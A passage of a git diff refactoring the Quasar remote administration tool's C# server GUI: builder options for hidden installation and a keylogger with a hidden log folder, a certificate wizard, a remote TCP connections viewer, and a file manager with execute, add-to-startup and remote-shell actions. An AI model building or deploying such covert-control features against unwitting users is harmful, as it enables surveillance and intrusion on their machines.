chkInstall.Checked; + txtInstallSubDirectory.Enabled = chkInstall.Checked; chkHide.Enabled = chkInstall.Checked; + chkHideSubDirectory.Enabled = chkInstall.Checked; + } + + private void UpdateKeyloggerControlStates() + { + txtLogDirectoryName.Enabled = chkKeylogger.Checked; + chkHideLogDirectory.Enabled = chkKeylogger.Checked; } private void HasChanged() diff --git a/Server/Forms/FrmBuilder.resx b/Quasar.Server/Forms/FrmBuilder.resx similarity index 100% rename from Server/Forms/FrmBuilder.resx rename to Quasar.Server/Forms/FrmBuilder.resx diff --git a/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar.Server/Forms/FrmCertificate.Designer.cs new file mode 100644 index 000000000..78e5b0408 --- /dev/null +++ b/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -0,0 +1,159 @@ +namespace Quasar.Server.Forms +{ + partial class FrmCertificate + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate)); + this.lblInfo = new System.Windows.Forms.Label(); + this.btnCreate = new System.Windows.Forms.Button(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtDetails = new System.Windows.Forms.TextBox(); + this.btnImport = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.btnExit = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblInfo + // + this.lblInfo.AutoSize = true; + this.lblInfo.Location = new System.Drawing.Point(12, 53); + this.lblInfo.Name = "lblInfo"; + this.lblInfo.Size = new System.Drawing.Size(130, 13); + this.lblInfo.TabIndex = 3; + this.lblInfo.Text = "(this might take a while)"; + // + // btnCreate + // + this.btnCreate.Location = new System.Drawing.Point(12, 27); + this.btnCreate.Name = "btnCreate"; + this.btnCreate.Size = new System.Drawing.Size(75, 23); + this.btnCreate.TabIndex = 1; + this.btnCreate.Text = "Create"; + this.btnCreate.UseVisualStyleBackColor = true; + this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblDescription.Location = new System.Drawing.Point(9, 9); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(493, 15); + this.lblDescription.TabIndex = 0; + this.lblDescription.Text = "To use Quasar create a new certificate or import an existing one from a previous" + + " installation."; + // + // txtDetails + // + this.txtDetails.Location = new System.Drawing.Point(12, 69); + this.txtDetails.Multiline = true; + this.txtDetails.Name = "txtDetails"; + this.txtDetails.ReadOnly = true; + this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtDetails.Size = new System.Drawing.Size(517, 230); + this.txtDetails.TabIndex = 4; + // + // btnImport + // + this.btnImport.Location = new System.Drawing.Point(93, 27); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(130, 23); + this.btnImport.TabIndex = 2; + this.btnImport.Text = "Browse && Import"; + this.btnImport.UseVisualStyleBackColor = true; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnSave + // + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(373, 305); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(75, 23); + this.btnSave.TabIndex = 6; + this.btnSave.Text = "Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 310); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(355, 15); + this.label1.TabIndex = 5; + this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!"; + // + // btnExit + // + this.btnExit.Location = new System.Drawing.Point(454, 306); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(75, 23); + this.btnExit.TabIndex = 7; + this.btnExit.Text = "Exit"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // + // FrmCertificate + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(541, 341); + this.Controls.Add(this.btnExit); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.txtDetails); + this.Controls.Add(this.lblInfo); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.btnCreate); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmCertificate"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Quasar - Certificate Wizard"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblInfo; + private System.Windows.Forms.Button btnCreate; + private System.Windows.Forms.TextBox txtDetails; + private System.Windows.Forms.Button btnImport; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button btnExit; + } +} diff --git a/Quasar.Server/Forms/FrmCertificate.cs b/Quasar.Server/Forms/FrmCertificate.cs new file mode 100644 index 000000000..3f795c132 --- /dev/null +++ b/Quasar.Server/Forms/FrmCertificate.cs @@ -0,0 +1,100 @@ +using Quasar.Server.Helper; +using System; +using System.Diagnostics; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Windows.Forms; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmCertificate : Form + { + private X509Certificate2 _certificate; + + public FrmCertificate() + { + InitializeComponent(); + } + + private void SetCertificate(X509Certificate2 certificate) + { + _certificate = certificate; + txtDetails.Text = _certificate.ToString(false); + btnSave.Enabled = true; + } + + private void btnCreate_Click(object sender, EventArgs e) + { + SetCertificate(CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096)); + } + + private void btnImport_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.CheckFileExists = true; + ofd.Filter = "*.p12|*.p12"; + ofd.Multiselect = false; + ofd.InitialDirectory = Application.StartupPath; + if (ofd.ShowDialog(this) == DialogResult.OK) + { + try + { + SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable)); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + try + { + if (_certificate == null) + throw new ArgumentNullException(); + + if (!_certificate.HasPrivateKey) + throw new ArgumentException(); + + File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12)); + + MessageBox.Show(this, + "Please backup the certificate now. Loss of the certificate results in loosing all clients!", + "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + + string argument = "/select, \"" + Settings.CertificatePath + "\""; + Process.Start("explorer.exe", argument); + + this.DialogResult = DialogResult.OK; + } + catch (ArgumentNullException) + { + MessageBox.Show(this, "Please create or import a certificate first.", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (ArgumentException) + { + MessageBox.Show(this, + "The imported certificate has no associated private key. Please import a different certificate.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (Exception) + { + MessageBox.Show(this, + "There was an error saving the certificate, please make sure you have write access to the Quasar directory.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnExit_Click(object sender, EventArgs e) + { + Environment.Exit(0); + } + } +} diff --git a/Server/Forms/FrmDownloadAndExecute.resx b/Quasar.Server/Forms/FrmCertificate.resx similarity index 100% rename from Server/Forms/FrmDownloadAndExecute.resx rename to Quasar.Server/Forms/FrmCertificate.resx diff --git a/Quasar.Server/Forms/FrmConnections.Designer.cs b/Quasar.Server/Forms/FrmConnections.Designer.cs new file mode 100644 index 000000000..1062e74b4 --- /dev/null +++ b/Quasar.Server/Forms/FrmConnections.Designer.cs @@ -0,0 +1,153 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmConnections + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmConnections)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstConnections = new AeroListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.refreshToolStripMenuItem, + this.closeConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip"; + this.contextMenuStrip.Size = new System.Drawing.Size(169, 48); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // closeConnectionToolStripMenuItem + // + this.closeConnectionToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem"; + this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.closeConnectionToolStripMenuItem.Text = "Close Connection"; + this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click); + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5, + this.columnHeader6}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.FullRowSelect = true; + this.lstConnections.Location = new System.Drawing.Point(0, 0); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(703, 421); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstConnections_ColumnClick); + // + // columnHeader1 + // + this.columnHeader1.Text = "Process"; + this.columnHeader1.Width = 179; + // + // columnHeader2 + // + this.columnHeader2.Text = "Local Address"; + this.columnHeader2.Width = 95; + // + // columnHeader3 + // + this.columnHeader3.Text = "Local Port"; + this.columnHeader3.Width = 75; + // + // columnHeader4 + // + this.columnHeader4.Text = "Remote Address"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Remote Port"; + this.columnHeader5.Width = 75; + // + // columnHeader6 + // + this.columnHeader6.Text = "State"; + this.columnHeader6.Width = 85; + // + // FrmConnections + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(703, 421); + this.Controls.Add(this.lstConnections); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmConnections"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Connections []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmConnections_FormClosing); + this.Load += new System.EventHandler(this.FrmConnections_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; + } +} \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmConnections.cs b/Quasar.Server/Forms/FrmConnections.cs new file mode 100644 index 000000000..17f0a2574 --- /dev/null +++ b/Quasar.Server/Forms/FrmConnections.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmConnections : Form + { + /// + /// The client which can be used for the connections manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TcpConnectionsHandler _connectionsHandler; + + /// + /// + /// + private readonly Dictionary _groups = new Dictionary(); + + /// + /// Holds the opened connections manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new connections manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the connections manager form. + /// + /// Returns a new connections manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmConnections CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmConnections f = new FrmConnections(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the connections manager form. + public FrmConnections(Client client) + { + _connectClient = client; + _connectionsHandler = new TcpConnectionsHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the connections manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _connectionsHandler.ProgressChanged += TcpConnectionsChanged; + MessageHandler.Register(_connectionsHandler); + } + + /// + /// Unregisters the connections manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_connectionsHandler); + _connectionsHandler.ProgressChanged -= TcpConnectionsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever a TCP connection changed. + /// + /// The message handler which raised the event. + /// The current TCP connections of the client. + private void TcpConnectionsChanged(object sender, TcpConnection[] connections) + { + lstConnections.Items.Clear(); + + foreach (var con in connections) + { + string state = con.State.ToString(); + + ListViewItem lvi = new ListViewItem(new[] + { + con.ProcessName, con.LocalAddress, con.LocalPort.ToString(), + con.RemoteAddress, con.RemotePort.ToString(), state + }); + + if (!_groups.ContainsKey(state)) + { + // create new group if not exists already + ListViewGroup g = new ListViewGroup(state, state); + lstConnections.Groups.Add(g); + _groups.Add(state, g); + } + + lvi.Group = lstConnections.Groups[state]; + lstConnections.Items.Add(lvi); + } + } + + private void FrmConnections_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Connections", _connectClient); + _connectionsHandler.RefreshTcpConnections(); + } + + private void FrmConnections_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _connectionsHandler.RefreshTcpConnections(); + } + + private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem lvi in lstConnections.SelectedItems) + { + _connectionsHandler.CloseTcpConnection(lvi.SubItems[1].Text, ushort.Parse(lvi.SubItems[2].Text), + lvi.SubItems[3].Text, ushort.Parse(lvi.SubItems[4].Text)); + modified = true; + } + + if (modified) + { + _connectionsHandler.RefreshTcpConnections(); + } + } + + private void lstConnections_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstConnections.LvwColumnSorter.NeedNumberCompare = (e.Column == 2 || e.Column == 4); + } + } +} diff --git a/Server/Forms/FrmPasswordRecovery.resx b/Quasar.Server/Forms/FrmConnections.resx similarity index 100% rename from Server/Forms/FrmPasswordRecovery.resx rename to Quasar.Server/Forms/FrmConnections.resx diff --git a/Server/Forms/FrmFileManager.Designer.cs b/Quasar.Server/Forms/FrmFileManager.Designer.cs similarity index 94% rename from Server/Forms/FrmFileManager.Designer.cs rename to Quasar.Server/Forms/FrmFileManager.Designer.cs index b30ebefb2..80810def6 100644 --- a/Server/Forms/FrmFileManager.Designer.cs +++ b/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmFileManager { @@ -49,14 +49,15 @@ private void InitializeComponent() this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); this.contextMenuStripTransfers = new System.Windows.Forms.ContextMenuStrip(this.components); this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator(); this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); - this.TabControlFileManager = new xServer.Controls.DotNetBarTabControl(); + this.TabControlFileManager = new Quasar.Server.Controls.DotNetBarTabControl(); this.tabFileExplorer = new System.Windows.Forms.TabPage(); this.btnRefresh = new System.Windows.Forms.Button(); this.lblPath = new System.Windows.Forms.Label(); this.txtPath = new System.Windows.Forms.TextBox(); - this.lstDirectory = new xServer.Controls.AeroListView(); + this.lstDirectory = new Quasar.Server.Controls.AeroListView(); this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -64,12 +65,11 @@ private void InitializeComponent() this.cmbDrives = new System.Windows.Forms.ComboBox(); this.tabTransfers = new System.Windows.Forms.TabPage(); this.btnOpenDLFolder = new System.Windows.Forms.Button(); - this.lstTransfers = new xServer.Controls.AeroListView(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator(); this.contextMenuStripDirectory.SuspendLayout(); this.statusStrip.SuspendLayout(); this.contextMenuStripTransfers.SuspendLayout(); @@ -98,7 +98,7 @@ private void InitializeComponent() // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.downloadToolStripMenuItem.Image = global::xServer.Properties.Resources.download; + this.downloadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("downloadToolStripMenuItem.Image"))); this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; this.downloadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.downloadToolStripMenuItem.Text = "Download"; @@ -106,7 +106,7 @@ private void InitializeComponent() // // uploadToolStripMenuItem // - this.uploadToolStripMenuItem.Image = global::xServer.Properties.Resources.upload; + this.uploadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uploadToolStripMenuItem.Image"))); this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; this.uploadToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.uploadToolStripMenuItem.Text = "Upload"; @@ -119,7 +119,7 @@ private void InitializeComponent() // // executeToolStripMenuItem // - this.executeToolStripMenuItem.Image = global::xServer.Properties.Resources.run; + this.executeToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("executeToolStripMenuItem.Image"))); this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; this.executeToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.executeToolStripMenuItem.Text = "Execute"; @@ -127,7 +127,7 @@ private void InitializeComponent() // // renameToolStripMenuItem // - this.renameToolStripMenuItem.Image = global::xServer.Properties.Resources.textfield_rename; + this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.renameToolStripMenuItem.Text = "Rename"; @@ -135,7 +135,7 @@ private void InitializeComponent() // // deleteToolStripMenuItem // - this.deleteToolStripMenuItem.Image = global::xServer.Properties.Resources.delete; + this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; this.deleteToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.deleteToolStripMenuItem.Text = "Delete"; @@ -148,7 +148,7 @@ private void InitializeComponent() // // addToStartupToolStripMenuItem // - this.addToStartupToolStripMenuItem.Image = global::xServer.Properties.Resources.application_add; + this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem"; this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.addToStartupToolStripMenuItem.Text = "Add to Startup"; @@ -161,7 +161,7 @@ private void InitializeComponent() // // refreshToolStripMenuItem // - this.refreshToolStripMenuItem.Image = global::xServer.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.refreshToolStripMenuItem.Text = "Refresh"; @@ -169,6 +169,7 @@ private void InitializeComponent() // // openDirectoryInShellToolStripMenuItem // + this.openDirectoryInShellToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.terminal; this.openDirectoryInShellToolStripMenuItem.Name = "openDirectoryInShellToolStripMenuItem"; this.openDirectoryInShellToolStripMenuItem.Size = new System.Drawing.Size(239, 22); this.openDirectoryInShellToolStripMenuItem.Text = "Open Directory in Remote Shell"; @@ -217,15 +218,20 @@ private void InitializeComponent() // // cancelToolStripMenuItem // - this.cancelToolStripMenuItem.Image = global::xServer.Properties.Resources.cancel; + this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem"; this.cancelToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.cancelToolStripMenuItem.Text = "Cancel"; this.cancelToolStripMenuItem.Click += new System.EventHandler(this.cancelToolStripMenuItem_Click); // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(146, 6); + // // clearToolStripMenuItem // - this.clearToolStripMenuItem.Image = global::xServer.Properties.Resources.broom; + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; this.clearToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.clearToolStripMenuItem.Text = "Clear transfers"; @@ -273,7 +279,7 @@ private void InitializeComponent() // this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.btnRefresh.Image = global::xServer.Properties.Resources.refresh; + this.btnRefresh.Image = global::Quasar.Server.Properties.Resources.refresh; this.btnRefresh.ImageAlign = System.Drawing.ContentAlignment.BottomCenter; this.btnRefresh.Location = new System.Drawing.Point(682, 8); this.btnRefresh.Name = "btnRefresh"; @@ -326,6 +332,7 @@ private void InitializeComponent() this.lstDirectory.DragDrop += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragDrop); this.lstDirectory.DragEnter += new System.Windows.Forms.DragEventHandler(this.lstDirectory_DragEnter); this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick); + this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick); // // hName // @@ -424,15 +431,10 @@ private void InitializeComponent() this.hFilename.Text = "Filename"; this.hFilename.Width = 289; // - // toolStripMenuItem1 - // - this.toolStripMenuItem1.Name = "toolStripMenuItem1"; - this.toolStripMenuItem1.Size = new System.Drawing.Size(146, 6); - // // FrmFileManager // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(858, 478); this.Controls.Add(this.TabControlFileManager); this.Controls.Add(this.statusStrip); diff --git a/Quasar.Server/Forms/FrmFileManager.cs b/Quasar.Server/Forms/FrmFileManager.cs new file mode 100644 index 000000000..5570b2e10 --- /dev/null +++ b/Quasar.Server/Forms/FrmFileManager.cs @@ -0,0 +1,556 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Controls; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Process = System.Diagnostics.Process; + +namespace Quasar.Server.Forms +{ + public partial class FrmFileManager : Form + { + /// + /// The current remote directory shown in the file manager. + /// + private string _currentDir; + + /// + /// The client which can be used for the file manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly FileManagerHandler _fileManagerHandler; + + private enum TransferColumn + { + Id, + Type, + Status, + } + + /// + /// Holds the opened file manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new file manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the file manager form. + /// + /// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmFileManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmFileManager f = new FrmFileManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the file manager form. + public FrmFileManager(Client client) + { + _connectClient = client; + + _fileManagerHandler = new FileManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the file manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _fileManagerHandler.ProgressChanged += SetStatusMessage; + _fileManagerHandler.DrivesChanged += DrivesChanged; + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(_fileManagerHandler); + } + + /// + /// Unregisters the file manager message handler. + /// 